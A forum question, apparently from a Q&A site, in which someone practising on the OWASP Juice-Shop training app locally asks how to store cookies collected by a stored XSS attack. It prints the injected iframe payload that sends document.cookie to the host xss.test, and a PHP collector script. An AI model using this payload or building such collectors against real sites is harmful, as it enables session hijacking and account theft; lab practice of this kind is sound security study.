title: How can I send cookies from one application to another and store them
body: <p>I'm currently doing some challenges on OWASP Juice-Shop locally and I'm trying to store Javascriptcode in an iframe.
  I've sent a POST Request with the body</p>
  <p><code>{&quot;name&quot;: &quot;XSS&quot;, &quot;description&quot;: &quot;&lt;iframe src=\&quot;http://xss.test/?cookie=' + document.cookie + '\&quot;&gt;&quot;}</code></p>
  <p>and it stored it in the application as a new product. In theory, when I click on the product it should send the cookies of the current user to my script on xss.test. I created a virtualhost xss.test with xampp, that contains the php script</p>
  <pre><code>$cookies = $_GET['cookie'];
  
  echo $cookies;
  </code></pre>
  <p>on index.php. Is there a way I can store the cookies sent via the parameter so that I can access xss.test and see all the cookies I gathered?</p>